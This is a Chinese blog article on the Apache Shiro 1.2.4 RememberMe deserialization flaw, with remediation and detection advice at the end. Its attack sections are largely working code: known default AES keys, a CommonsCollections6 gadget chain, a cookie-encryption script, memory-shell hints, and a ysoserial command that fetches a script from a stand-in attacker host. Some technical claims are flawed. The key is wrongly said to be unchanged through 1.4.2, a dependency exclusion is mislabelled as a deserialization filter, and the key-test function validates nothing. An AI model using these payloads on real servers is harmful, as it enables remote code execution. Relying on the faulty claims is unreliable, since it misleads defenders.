当前位置: 首页 > news >正文

Apache Shiro 1.2.4 反序列化漏洞深度解析:从RememberMe Cookie到RCE的完整攻击链

Apache Shiro 1.2.4 反序列化漏洞深度解析:从RememberMe Cookie到RCE的完整攻击链

在Java安全领域,Apache Shiro框架的反序列化漏洞(CVE-2016-4437)堪称经典案例。本文将深入剖析Shiro 1.2.4版本中这个被标记为Shiro-550的漏洞,揭示从RememberMe Cookie构造到最终实现远程代码执行(RCE)的完整技术链条。

1. 漏洞核心原理分析

Shiro的RememberMe功能允许用户在关闭浏览器后仍保持登录状态,其实现机制涉及三个关键环节:

  1. 序列化与加密流程
    用户登录成功时,Shiro会执行以下操作:

    // 伪代码展示核心流程 Serializable principal = serialize(userPrincipal); byte[] encrypted = AES.encrypt(principal, DEFAULT_KEY); String cookieValue = Base64.encode(encrypted);
  2. 硬编码密钥问题
    漏洞根源在于AbstractRememberMeManager类中:

    private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

    这个AES密钥被硬编码在框架中,且从1.2.4到1.4.2版本均未改变。

  3. 反序列化触发点
    当请求携带RememberMe Cookie时,Shiro会逆向执行:

    Base64解码 -> AES解密 -> 反序列化

    攻击者只要获取默认密钥,就能构造恶意序列化数据。

关键点:不同于常规反序列化漏洞,Shiro的漏洞利用需要先突破AES加密层,这也是该漏洞长期未被发现的原因。

2. 完整攻击链拆解

2.1 信息收集阶段

攻击者首先需要确认目标系统存在漏洞:

GET /login HTTP/1.1 Host: target.com # 检测响应中是否包含RememberMe字段 Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0; Expires=...

2.2 密钥获取与验证

使用公开的默认密钥进行验证:

import base64 from Crypto.Cipher import AES def test_key(key): try: cipher = AES.new(base64.b64decode(key), AES.MODE_CBC) return True except: return False KNOWN_KEYS = [ "kPH+bIxk5D2deZiIxcaaaA==", "2AvVhdsgUs0FSA3SDFAdag==", "3AvVhmFLUs0KTA3Kprsdag==" ] valid_keys = [k for k in KNOWN_KEYS if test_key(k)]

2.3 恶意Payload构造

典型利用链选择(以CommonsCollections6为例):

组件作用
PriorityQueue反序列化入口点
TiedMapEntry触发Map操作
LazyMap延迟执行transform
InvokerTransformer反射调用危险方法
// 简化版Payload生成逻辑 Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod", ...), new InvokerTransformer("invoke", ...), new ConstantTransformer(Runtime.class), new InvokerTransformer("exec", ...) }; ChainedTransformer chain = new ChainedTransformer(transformers); Map lazyMap = LazyMap.decorate(new HashMap(), chain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "exploit"); PriorityQueue queue = new PriorityQueue(2); queue.add(entry); queue.add(entry);

2.4 完整攻击流程

  1. 使用ysoserial生成Payload
    java -jar ysoserial.jar CommonsCollections6 "curl http://attacker.com/shell.sh" > payload.bin
  2. 使用Shiro默认密钥加密:
    from Crypto.Cipher import AES import uuid def encrypt(key, payload): iv = uuid.uuid4().bytes cipher = AES.new(base64.b64decode(key), AES.MODE_CBC, iv) return base64.b64encode(iv + cipher.encrypt(payload))
  3. 构造恶意Cookie:
    Cookie: rememberMe=ENCRYPTED_PAYLOAD; Path=/;

3. 防御方案对比

方案优点缺点
升级到1.7.1+彻底修复,使用随机密钥可能需代码适配
自定义密钥保持版本兼容性需确保密钥安全
禁用RememberMe完全消除风险牺牲用户体验

推荐组合方案

  1. 升级到最新稳定版
  2. 自定义高强度密钥:
    @Bean public CookieRememberMeManager rememberMeManager() { CookieRememberMeManager manager = new CookieRememberMeManager(); manager.setCipherKey(generateSecureKey()); return manager; }
  3. 添加反序列化过滤器:
    <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-core</artifactId> <version>${shiro.version}</version> <exclusions> <exclusion> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> </exclusion> </exclusions> </dependency>

4. 深度技术剖析

4.1 AES加密模式分析

Shiro使用CBC模式进行加密,其加密结构如下:

区块长度说明
IV16字节随机初始化向量
密文N*16字节PKCS7填充的序列化数据

加密过程伪代码:

def encrypt(key, plaintext): iv = os.urandom(16) cipher = AES.new(key, AES.MODE_CBC, iv) padded = pad(plaintext, AES.block_size) return iv + cipher.encrypt(padded)

4.2 反序列化防御机制绕过

Shiro的反序列化流程存在两个关键弱点:

  1. 没有对反序列化的类进行白名单校验
  2. DefaultSerializer.deserialize()中直接调用ObjectInputStream

对比安全实现应包含:

ObjectInputStream ois = new SafeObjectInputStream(byteSource.getInputStream());

4.3 攻击链优化技巧

实际渗透测试中需要注意:

  1. Payload大小限制:Cookie通常有4KB限制,需精简Payload
  2. 不出网利用:当目标无法外连时,可构造内存马:
    // 注册Filter内存马示例 defineClass(evilFilterBytes) addFilter("evilFilter", new EvilFilter())
  3. 回显处理:通过异常信息或延时判断执行结果

5. 实战检测与验证

使用集成化检测工具验证漏洞:

python shiro_exploit.py -u http://target.com -c "whoami"

典型响应特征:

  • 有效Payload返回200状态码
  • 无效Padding返回rememberMe=deleteMe的Set-Cookie头

对于防御方,推荐检测方案:

  1. 流量审计规则:
    Set-Cookie.*rememberMe=[^=]{10,};.*(deleteMe|JSESSIONID)
  2. RASP防护点:
    // 在ObjectInputStream.resolveClass()处hook if(classname.contains("org.apache.commons.collections")) { throw new SecurityException("Block dangerous deserialization"); }

在真实企业环境中,曾遇到一个典型案例:某金融系统因使用旧版Shiro,攻击者通过该漏洞获取了数据库权限。事后分析发现,系统虽然修改了默认密钥,但密钥被硬编码在源码中并意外泄露到GitHub。这提醒我们密钥管理同样重要,建议采用类似Vault的专用密钥管理系统。

http://www.jsqmd.com/news/1149977/

相关文章:

  • 校友邦小程序 v1.6.36 签到加密逆向:从JS到PHP的3步完整迁移
  • ENVI5.6/Classic 协同处理:WorldView-2数据4步城市绿地提取全流程
  • autorun.inf 文件深度解析:从图标自定义到U盘病毒防范的10年演变
  • 程序员就业:用一次真实复盘,讲清该怎么学
  • SchoolCMS 实战渗透:从弱口令到Shell的5类漏洞复现与修复指南
  • 瑞数5.5 逆向算法核心:128位数组生成与4参数映射关系详解
  • Deb to IPA:3步完成Linux应用向iOS IPA的自动化转换指南
  • 工业信号隔离与处理:FOD4216光耦与PIC32MCU抗干扰方案
  • Claude Sonnet 5模型更新:PR评审优化与成本控制实战指南
  • Tomcat 7.0.x PUT漏洞深度解析:3种绕过姿势与DefaultServlet源码分析
  • 微信小程序用户协议与隐私政策:5个审核驳回案例分析与修复方案
  • App安全测试进阶:3种动态Hook技术(Frida/Xposed/ADB)实战与风险对比
  • 【Springboot毕设全套源码+文档】基于SpringBoot框架的”校联云桥”校友管理系统的设计与实现(丰富项目+远程调试+讲解+定制)
  • RubyPorter部署实战:如何在OpenEuler系统中配置自动化打包环境
  • 深度解析MoviePilot:5个高效技巧优化NAS媒体库自动化管理
  • Android App 渗透测试实战:5大逆向工具组合破解客户端安全防线
  • Windows 11 权限继承与所有权:解决“权限选项为灰色”的 2 个关键步骤
  • 抖音批量下载终极指南:5分钟快速上手免费下载工具
  • RCE漏洞防御:从Pikachu靶场看5种常见代码/命令执行漏洞防护方案
  • Android App 渗透测试实战:5大逆向工具链配置与7类漏洞自动化检测
  • Apache RocketMQ 4.9.6/5.1.1 安全加固:针对CVE-2023-33246的4项防护配置实践
  • GEARS 0.1.0 双图神经网络架构解析:从基因/扰动嵌入到组合预测的5步流程
  • 存储型XSS漏洞深度解析:从3种攻击类型到5种主流防御方案对比
  • 抖店开放平台API 签名与分页:订单列表查询的2个核心难点与解决方案
  • 基于TLA2518与TM4C123的高精度多通道数据采集方案
  • bWAPP 3款常见漏洞防御函数深度解析:addslashes、htmlspecialchars、mysql_real_escape_string 实战对比
  • 业务逻辑并发漏洞防御:从TOCTOU到限流的5种后端方案对比
  • WebDAV 方法实战:PROPFIND/PUT/DELETE 3类高危操作复现与修复
  • STM32与PAM8904实现低功耗音频系统设计
  • CNN人脸识别模型训练避坑:从64x64图像预处理到Adam优化器调参的3个关键点